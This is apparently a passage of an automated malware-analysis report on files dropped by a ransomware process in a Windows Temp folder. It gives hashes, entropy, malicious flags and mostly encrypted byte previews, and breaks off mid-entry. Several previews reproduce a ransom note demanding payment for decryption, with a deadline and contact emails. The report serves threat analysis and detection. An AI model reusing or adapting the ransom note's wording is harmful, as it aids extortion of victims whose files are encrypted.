                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):98570
                                                                                                                                        Entropy (8bit):0.644864796819796
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:JGlwDWmMeStYHBC3vm9SSdhuvtE4cFuJbpBE4NxV8snOW3:0lwDWsStUn9SSdP4XJM4N8W3
                                                                                                                                        MD5:4911CDB777067BADCAA78AC25C845D50
                                                                                                                                        SHA1:DEAFF8464FE0FA0369A9F522422F1EB372BCD8C8
                                                                                                                                        SHA-256:E8189AD85B82D08A4C61A898B5B01EDE4BB0E5DBBA02DA70D1F34CC687F57ECC
                                                                                                                                        SHA-512:F85A7504E7BC82B02B3CD73434FFC4CE5C1A8B435532E5F5FABD8A4745F1AA019DBA908EFBB876424ED340469F0135B22B12B193176262DA0F93E8D9296BFD60
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.6....@U...2.B.=..4..+.m...%d....7.n...I2........;.d~.][....`...>a`j.....CN.0..F)..q...uS..s.......o..|.. ...1aaW.s.R.H..l(]A9B.0C...$.#.....@.TOgE..L2....F(../v.......Oxl....z.M..n....7..l........(_G_.l....2?.._..H](TX&~.}Pm.....$Q.8..*...,[.:.r)?..u%x.=|..gu..=k ....`...xF.j.B.M.f...C.z.t... ...W...;H...@.|Mn..g..Akd...B..z.?. ....{..m.l.Q.K.....".0.....M.(.D{H......:..y.....Q".MD..3F..H....Gs.....b..q.u.R/K9.....!.1..g.6L...R..9.'..{.....X7...Xd..............b..g"...3?.....%..2....AA..L]..@Z$.....P9.1....)3k8..w..6.L...]y.s|..'.o`.......V#8../.\W..}U.....wn..5......3.O..9.ou..[P...Y"....8.^......Z.....i.....<> j.K;....h.c.n0.B........e.A...k.n.8....=...(.......F/.LU..ml.Y..KC.&|fH...D.R... ._.1....(..o.6~.....].k....3.!.t...N.B..L.^.q..Ru........./.yu.N;..;4...*!4..W.....T..\......$f..m..k_..."Z$.l.x:PC.G..hR...t.,.k|fD.e......W=..8;L.|.e.U..._.~..Kap.&.Yn..0...F.5...N.oy..L..0<..f..x....TO.e......t.~x;u..4t3?z~@...........n.....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:DOS executable (COM, 0x8C-variant)
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.606426227576475
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:IoYQjqB102ckrOGaLy3zs9QCmWq7UMVDzYLsYjYDjpIF:z/jqB1hoy+m1YMVDzCsvg
                                                                                                                                        MD5:4657A4C430EC65FC19A6CCDBAA216932
                                                                                                                                        SHA1:BF0D6C96843D9ECC51E5943C78AA4E6EA779E625
                                                                                                                                        SHA-256:F58CF8DE02A7826F4684C719FA0EADB419ED51EF18CBABC072B3191E6DE0FC61
                                                                                                                                        SHA-512:F31622880CBF8D902EA8A80E7E9C600A7C14274382CD87F9A313B8AEE80262101F43431CDE0CCD54D994307146DA04C9363D819B5F0342C59E055AF7D31D4075
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:..p..]......'.3...).g.U ..f].(*.&;.$1...k.bC.....9...Q,.."...p...K...e4......j}h..e.i..Mm.z=B.`.Q.=9.?D..r.a.k.....J.....>....@...sc.U..Rmi,.....Y#...Dr.3(.98..(.....CQ.$.l.;s.O.n..c..;s..t..o.P.....G .....t..../U.-J..B.=H...2.g.x.."..l4.G..|.T<.R..K..Z.......}.i.A,.}.....I.~..".s*....8.1@.....v..........."'..X...i..@...v.W,...p..r.!...x#~M.%...aGw.*..P0.....2.....Cx...4b.2...^o.JA..;Q`(N........AOak... .-.....O.#.'G......t...D....Z7L...X.....N.jl.....L.$........P ...7.[...H&.z~6+.|B.x.pA. t%>...9*...a.........A...#.......A..v...E..=.....l)..@.AL.Et.....Yi...j.T..a(.Y4Z.\./$q...g.8.j=...0./.S.*..`n*...5Yv..[.1..R,...32F...).........1...swx...O..u...,...c.]3..lv.CB.d.. .0.X_.....V.....e.tP+.ju-.V........3.a$..U.N.../;...Ny,....J .....(..W(r.z...WW.-3.....'=.F. ..h.....V..4... ..<.t.({:..+...^-3.XUV.[.X..po_.{...<..y.o..C$.........(....{.-...j+.x.<...b....=+:H.}...9>.g.N..,i...............?y`V.^.qqC..^.5....9e.....+...V.E'._.3..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:DOS executable (COM, 0x8C-variant)
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.606426227576475
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:IoYQjqB102ckrOGaLy3zs9QCmWq7UMVDzYLsYjYDjpIF:z/jqB1hoy+m1YMVDzCsvg
                                                                                                                                        MD5:4657A4C430EC65FC19A6CCDBAA216932
                                                                                                                                        SHA1:BF0D6C96843D9ECC51E5943C78AA4E6EA779E625
                                                                                                                                        SHA-256:F58CF8DE02A7826F4684C719FA0EADB419ED51EF18CBABC072B3191E6DE0FC61
                                                                                                                                        SHA-512:F31622880CBF8D902EA8A80E7E9C600A7C14274382CD87F9A313B8AEE80262101F43431CDE0CCD54D994307146DA04C9363D819B5F0342C59E055AF7D31D4075
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:..p..]......'.3...).g.U ..f].(*.&;.$1...k.bC.....9...Q,.."...p...K...e4......j}h..e.i..Mm.z=B.`.Q.=9.?D..r.a.k.....J.....>....@...sc.U..Rmi,.....Y#...Dr.3(.98..(.....CQ.$.l.;s.O.n..c..;s..t..o.P.....G .....t..../U.-J..B.=H...2.g.x.."..l4.G..|.T<.R..K..Z.......}.i.A,.}.....I.~..".s*....8.1@.....v..........."'..X...i..@...v.W,...p..r.!...x#~M.%...aGw.*..P0.....2.....Cx...4b.2...^o.JA..;Q`(N........AOak... .-.....O.#.'G......t...D....Z7L...X.....N.jl.....L.$........P ...7.[...H&.z~6+.|B.x.pA. t%>...9*...a.........A...#.......A..v...E..=.....l)..@.AL.Et.....Yi...j.T..a(.Y4Z.\./$q...g.8.j=...0./.S.*..`n*...5Yv..[.1..R,...32F...).........1...swx...O..u...,...c.]3..lv.CB.d.. .0.X_.....V.....e.tP+.ju-.V........3.a$..U.N.../;...Ny,....J .....(..W(r.z...WW.-3.....'=.F. ..h.....V..4... ..<.t.({:..+...^-3.XUV.[.X..po_.{...<..y.o..C$.........(....{.-...j+.x.<...b....=+:H.}...9>.g.N..,i...............?y`V.^.qqC..^.5....9e.....+...V.E'._.3..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.186242069341181
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:rkwXrobpDue4c758HNr8v1KdeQ05LXhxw/rR4Pu17urLcXBlb25Sn:4YApDueP7kr2MOSrOPG7uEXBlb2In
                                                                                                                                        MD5:237B2C608157D9C5207FF9AA2454CD0B
                                                                                                                                        SHA1:8695683F8C6578D3485F37244A80D5B34F23945D
                                                                                                                                        SHA-256:09C072C9F1EC5A3FF8EDEF9E0A996ADDAAD0330BFE06FE32CDCCD7539212D8BA
                                                                                                                                        SHA-512:CFFD8B509C3CE202AAC4DFCF00A5EC6436E678F47838024B564C2FA30AC488C87D72EA974D34CA730313F8D21F775FFF5235E0320AF065761BDF544B15C089B9
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:...[....J....................L.......9.Jh.. k.f...9......5.X.yab....s...._v.t.]X..{....G.$/".iE....eAI....qc....8.u.M...j....h.1.fP..!...}.e...rJ....Tg...E+.......\s...d.@.Q/P..2.lQ......rh..}."7...g.C...98...O&.S....=.&p..,...QR..-Ep..Y+..v.......o..'.XM....m...0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):98570
                                                                                                                                        Entropy (8bit):0.644864796819796
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:JGlwDWmMeStYHBC3vm9SSdhuvtE4cFuJbpBE4NxV8snOW3:0lwDWsStUn9SSdP4XJM4N8W3
                                                                                                                                        MD5:4911CDB777067BADCAA78AC25C845D50
                                                                                                                                        SHA1:DEAFF8464FE0FA0369A9F522422F1EB372BCD8C8
                                                                                                                                        SHA-256:E8189AD85B82D08A4C61A898B5B01EDE4BB0E5DBBA02DA70D1F34CC687F57ECC
                                                                                                                                        SHA-512:F85A7504E7BC82B02B3CD73434FFC4CE5C1A8B435532E5F5FABD8A4745F1AA019DBA908EFBB876424ED340469F0135B22B12B193176262DA0F93E8D9296BFD60
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.6....@U...2.B.=..4..+.m...%d....7.n...I2........;.d~.][....`...>a`j.....CN.0..F)..q...uS..s.......o..|.. ...1aaW.s.R.H..l(]A9B.0C...$.#.....@.TOgE..L2....F(../v.......Oxl....z.M..n....7..l........(_G_.l....2?.._..H](TX&~.}Pm.....$Q.8..*...,[.:.r)?..u%x.=|..gu..=k ....`...xF.j.B.M.f...C.z.t... ...W...;H...@.|Mn..g..Akd...B..z.?. ....{..m.l.Q.K.....".0.....M.(.D{H......:..y.....Q".MD..3F..H....Gs.....b..q.u.R/K9.....!.1..g.6L...R..9.'..{.....X7...Xd..............b..g"...3?.....%..2....AA..L]..@Z$.....P9.1....)3k8..w..6.L...]y.s|..'.o`.......V#8../.\W..}U.....wn..5......3.O..9.ou..[P...Y"....8.^......Z.....i.....<> j.K;....h.c.n0.B........e.A...k.n.8....=...(.......F/.LU..ml.Y..KC.&|fH...D.R... ._.1....(..o.6~.....].k....3.!.t...N.B..L.^.q..Ru........./.yu.N;..;4...*!4..W.....T..\......$f..m..k_..."Z$.l.x:PC.G..hR...t.,.k|fD.e......W=..8;L.|.e.U..._.~..Kap.&.Yn..0...F.5...N.oy..L..0<..f..x....TO.e......t.~x;u..4t3?z~@...........n.....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):386
                                                                                                                                        Entropy (8bit):7.450659297748905
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:G2Jp4zeenDPVP3OqIK4Y3teqOlNfAiK3o6lNjTJ4l+un:GeeDl3zd3IqOllU3jt4R
                                                                                                                                        MD5:9A743B1ACB04D59032C49FFCDC2D237B
                                                                                                                                        SHA1:004C6B3085536B8B31DE53A5E29C2923F7EB9949
                                                                                                                                        SHA-256:0B58ABB0877B9E041A6019B197505ABD37A1A4D6AD241D59A644EB0B72C70B09
                                                                                                                                        SHA-512:DC1D7C5D19BFC7D1FC0C61CC4333A83EC08B56A3F7E749BFE7711DB8A61CF8ECBDC638C76E6512289F9BAD0EEF0874401A744EB85DC8D6BC8362F51B5F7B3151
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.zs.(.Cl=...SM7a..z.H.$.@..O.)..7.`...4.7K.x...2X?...........;9..Y.Q..R..6....#.....L..dU..qI.=.y.\..u.7..Fi`e":""}}}+$.....30.Px......a....KNp:...7..|..Y$.T..9(<.Lp(.#..i..}&..m......#.f.Z....x..T.W...Q.5D<.K"=."... .....1!tY...-...#.X...e...+.&.).pJ.0........Cm|...*..?.aF./d.s..}|A..{C.....tuA._....d].....h.8wE.....jm....5....ZQ...Cfg;..T?c~qX..`...[.E{M..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):386
                                                                                                                                        Entropy (8bit):7.450659297748905
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:G2Jp4zeenDPVP3OqIK4Y3teqOlNfAiK3o6lNjTJ4l+un:GeeDl3zd3IqOllU3jt4R
                                                                                                                                        MD5:9A743B1ACB04D59032C49FFCDC2D237B
                                                                                                                                        SHA1:004C6B3085536B8B31DE53A5E29C2923F7EB9949
                                                                                                                                        SHA-256:0B58ABB0877B9E041A6019B197505ABD37A1A4D6AD241D59A644EB0B72C70B09
                                                                                                                                        SHA-512:DC1D7C5D19BFC7D1FC0C61CC4333A83EC08B56A3F7E749BFE7711DB8A61CF8ECBDC638C76E6512289F9BAD0EEF0874401A744EB85DC8D6BC8362F51B5F7B3151
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.zs.(.Cl=...SM7a..z.H.$.@..O.)..7.`...4.7K.x...2X?...........;9..Y.Q..R..6....#.....L..dU..qI.=.y.\..u.7..Fi`e":""}}}+$.....30.Px......a....KNp:...7..|..Y$.T..9(<.Lp(.#..i..}&..m......#.f.Z....x..T.W...Q.5D<.K"=."... .....1!tY...-...#.X...e...+.&.).pJ.0........Cm|...*..?.aF./d.s..}|A..{C.....tuA._....d].....h.8wE.....jm....5....ZQ...Cfg;..T?c~qX..`...[.E{M..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):313
                                                                                                                                        Entropy (8bit):7.271866901345581
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:vRB/kcnNdYXuzT/7FUgBt9A70ZKM4/liUO4mSlg2Vqa+PYCznIVER0An:doXC/7DBI7yCxvVqaQYCzRn
                                                                                                                                        MD5:01F999A04A9B3A06B38941396823B3E2
                                                                                                                                        SHA1:52C139F7C46301A55413A81DF87E65A83475A58F
                                                                                                                                        SHA-256:8F1329BD8B5A785F732388F243AD5495137EB88C48D0E362A25F7EBF6CA26981
                                                                                                                                        SHA-512:FF6A4DA0421694CB68AC6BFD03D37426E56BD17D6FEEC7E06A12F64485012CFE68EAD419C81B34073DDD02CF1739E54BB6B52B76DBB37203216BD7D071D56BD5
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..rTi.h$...R...o.#...d.f.n.$.7&stUse": null.}.....`.. "...".=..Q..X.....o..,v_?..h......8.Fm(.Yc...s...Kh._......`.t.d>...q3.g.M.....m.._e..{.{.B.H+Q....v.}$..@.{..4......f.Rh`.}..&M...Qc.b..qU.@B.$..N......O.E.Z.....>....% t...T.E..Y#......~.H.2....^..S*Q:.>...$2[..V.rm..l'..t...>.z-S`A.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):313
                                                                                                                                        Entropy (8bit):7.271866901345581
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:vRB/kcnNdYXuzT/7FUgBt9A70ZKM4/liUO4mSlg2Vqa+PYCznIVER0An:doXC/7DBI7yCxvVqaQYCzRn
                                                                                                                                        MD5:01F999A04A9B3A06B38941396823B3E2
                                                                                                                                        SHA1:52C139F7C46301A55413A81DF87E65A83475A58F
                                                                                                                                        SHA-256:8F1329BD8B5A785F732388F243AD5495137EB88C48D0E362A25F7EBF6CA26981
                                                                                                                                        SHA-512:FF6A4DA0421694CB68AC6BFD03D37426E56BD17D6FEEC7E06A12F64485012CFE68EAD419C81B34073DDD02CF1739E54BB6B52B76DBB37203216BD7D071D56BD5
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..rTi.h$...R...o.#...d.f.n.$.7&stUse": null.}.....`.. "...".=..Q..X.....o..,v_?..h......8.Fm(.Yc...s...Kh._......`.t.d>...q3.g.M.....m.._e..{.{.B.H+Q....v.}$..@.{..4......f.Rh`.}..&M...Qc.b..qU.@B.$..N......O.E.Z.....>....% t...T.E..Y#......~.H.2....^..S*Q:.>...$2[..V.rm..l'..t...>.z-S`A.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):341
                                                                                                                                        Entropy (8bit):7.4443583453120485
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:x+OUpIlW41e2Jos5GyXkWD0Jzsfo51+HIXGoExy3sueFi8qDu3MHdxy3kHn:x+OUpe/U26s5GyXkWY9F1CL6eF0u3M9t
                                                                                                                                        MD5:78E9EC404CFAE4AAD0E6A22CD36DB01A
                                                                                                                                        SHA1:0717264D1B59FE44DE00D8A330FDE7CA119542F7
                                                                                                                                        SHA-256:5C25F347AB63ACBEBDC80EFD4FCA1DA7748C582F2216FFF50835DB5DA0A781E0
                                                                                                                                        SHA-512:6B4467BDBB5831B6550A356248A901078A5F70FBCD827857747EC778F601714FD149FDFB69AC42F69F1DB979536BB4FEF9CFE5B924327C89AB9D94A4AF4E273C
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.wt...zYRP.J.k.(......{.d...k..uM). ...L...j.....F!r.1.....\..ocked=1....s..T..;....|..Q..9....K.f0v...........iK.<.......#,J..Hu......q..s.ndh>..."lp|o..wZ..!..y...Z/.!h\BE.-*....Y :a.n..v....P-P8.;....j_...?...*.g2!.....QZ..`.......j.....T...y.O]...^......h....n,....Q....5.m<.m..).@.....1.....KGs..]...g..8.E....0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):341
                                                                                                                                        Entropy (8bit):7.4443583453120485
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:x+OUpIlW41e2Jos5GyXkWD0Jzsfo51+HIXGoExy3sueFi8qDu3MHdxy3kHn:x+OUpe/U26s5GyXkWY9F1CL6eF0u3M9t
                                                                                                                                        MD5:78E9EC404CFAE4AAD0E6A22CD36DB01A
                                                                                                                                        SHA1:0717264D1B59FE44DE00D8A330FDE7CA119542F7
                                                                                                                                        SHA-256:5C25F347AB63ACBEBDC80EFD4FCA1DA7748C582F2216FFF50835DB5DA0A781E0
                                                                                                                                        SHA-512:6B4467BDBB5831B6550A356248A901078A5F70FBCD827857747EC778F601714FD149FDFB69AC42F69F1DB979536BB4FEF9CFE5B924327C89AB9D94A4AF4E273C
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.wt...zYRP.J.k.(......{.d...k..uM). ...L...j.....F!r.1.....\..ocked=1....s..T..;....|..Q..9....K.f0v...........iK.<.......#,J..Hu......q..s.ndh>..."lp|o..wZ..!..y...Z/.!h\BE.-*....Y :a.n..v....P-P8.;....j_...?...*.g2!.....QZ..`.......j.....T...y.O]...^......h....n,....Q....5.m<.m..).@.....1.....KGs..]...g..8.E....0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):571
                                                                                                                                        Entropy (8bit):7.68547087626504
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:oj6dPBGU1H5UqwfOS0lDTGUA1JQmbOHDezWObTBqri8WLIvP2n:k6h/gGS0lDTbpuODe6OPBQiJIH2
                                                                                                                                        MD5:6A4AE4BA82E6016E1FA0D11BCAAD0D47
                                                                                                                                        SHA1:77F2E0D2CA184EC5F6F794AC271EC3A58537DD8F
                                                                                                                                        SHA-256:C10D7674547CADF9F5875ED353FC292C382AA11EC902B390BA5EECCD912E1D69
                                                                                                                                        SHA-512:75BE6088B1E419E19F81F08AB8AFBC877548E8AEE3581ECCC528D532E0DBCD0FB86F2B352901EA85D8DD41CE3CA38575FDE657B1B3ABCD777E95A776ADAA0C2D
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:......s..+~..<F..o...2.....9..=.2r#.........`.1.lka%.....].lG...0.P.^.@ .ke(.6..N.$..3.....O.O....*.g..:.B..=.......D.p9.aT...8..\&y..../.....On\2(\..zs3.I..GV...L...@..d.kI}bq.|u&.x..C.........|.../...5..B..2.n4..#..V.g....i...$qd.....k..(...X....S...?..j@!.....:lZ..<...(j@v...5N..-..).fF....HL.?m..v..{..].[R.. D...'...H-y..x.)..`.nQ..'......NA...L2!2+..q.....!.(.o..R.0..T.C.n.c<....7.BT...|....p].C..k.+......{......Z.%%.3.......~.y..........?..:8...;..2.&....o...a?U ..y....5...5........7..w.......b..../.....!T.;....'............0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):571
                                                                                                                                        Entropy (8bit):7.68547087626504
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:oj6dPBGU1H5UqwfOS0lDTGUA1JQmbOHDezWObTBqri8WLIvP2n:k6h/gGS0lDTbpuODe6OPBQiJIH2
                                                                                                                                        MD5:6A4AE4BA82E6016E1FA0D11BCAAD0D47
                                                                                                                                        SHA1:77F2E0D2CA184EC5F6F794AC271EC3A58537DD8F
                                                                                                                                        SHA-256:C10D7674547CADF9F5875ED353FC292C382AA11EC902B390BA5EECCD912E1D69
                                                                                                                                        SHA-512:75BE6088B1E419E19F81F08AB8AFBC877548E8AEE3581ECCC528D532E0DBCD0FB86F2B352901EA85D8DD41CE3CA38575FDE657B1B3ABCD777E95A776ADAA0C2D
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:......s..+~..<F..o...2.....9..=.2r#.........`.1.lka%.....].lG...0.P.^.@ .ke(.6..N.$..3.....O.O....*.g..:.B..=.......D.p9.aT...8..\&y..../.....On\2(\..zs3.I..GV...L...@..d.kI}bq.|u&.x..C.........|.../...5..B..2.n4..#..V.g....i...$qd.....k..(...X....S...?..j@!.....:lZ..<...(j@v...5N..-..).fF....HL.?m..v..{..].[R.. D...'...H-y..x.)..`.nQ..'......NA...L2!2+..q.....!.(.o..R.0..T.C.n.c<....7.BT...|....p].C..k.+......{......Z.%%.3.......~.y..........?..:8...;..2.&....o...a?U ..y....5...5........7..w.......b..../.....!T.;....'............0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.160473498135605
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:bDZsEuz5ha0qw+ahL4uqn7taJGuaFFBFRY3Ay3pxLQIWgn:vFuzS0qwVhL4uieGuaFcAyZmUn
                                                                                                                                        MD5:649D4A6D2ED8BCA9C82C57775215B402
                                                                                                                                        SHA1:3327999C02DF23131B5E41089140D89E935F3A99
                                                                                                                                        SHA-256:5084F5D6204D068587F18DEA3FA7C31BAFCFA49215E84FC0371C84D150A5231B
                                                                                                                                        SHA-512:1F4D50F97A5DE0B78BC732FE982E3D37EB932A2FDA9128B132938D3A3FF6D7AACE7FFC04CB675C52A3DF62BBC0F39F159B52E630FF8651AD644F67FEDD828B94
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.-.....Y......D..........=.7n....B..r....Yq..7. Sv..x.#m.N.mW............p..u.B.h..D..K..q0..ccK.H<......c..g.Dw9h..._]b3......%Hp.m....`.?.42.....HoVwH.1...\}.6.......Y.v{..P.zG.u....(.k.m.3BRu...}.8J......K.L"..;. ..l..Ry<.{N)+...m.K..]W.n..k...N.m.0.:/...D.yH.``.....y.y.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
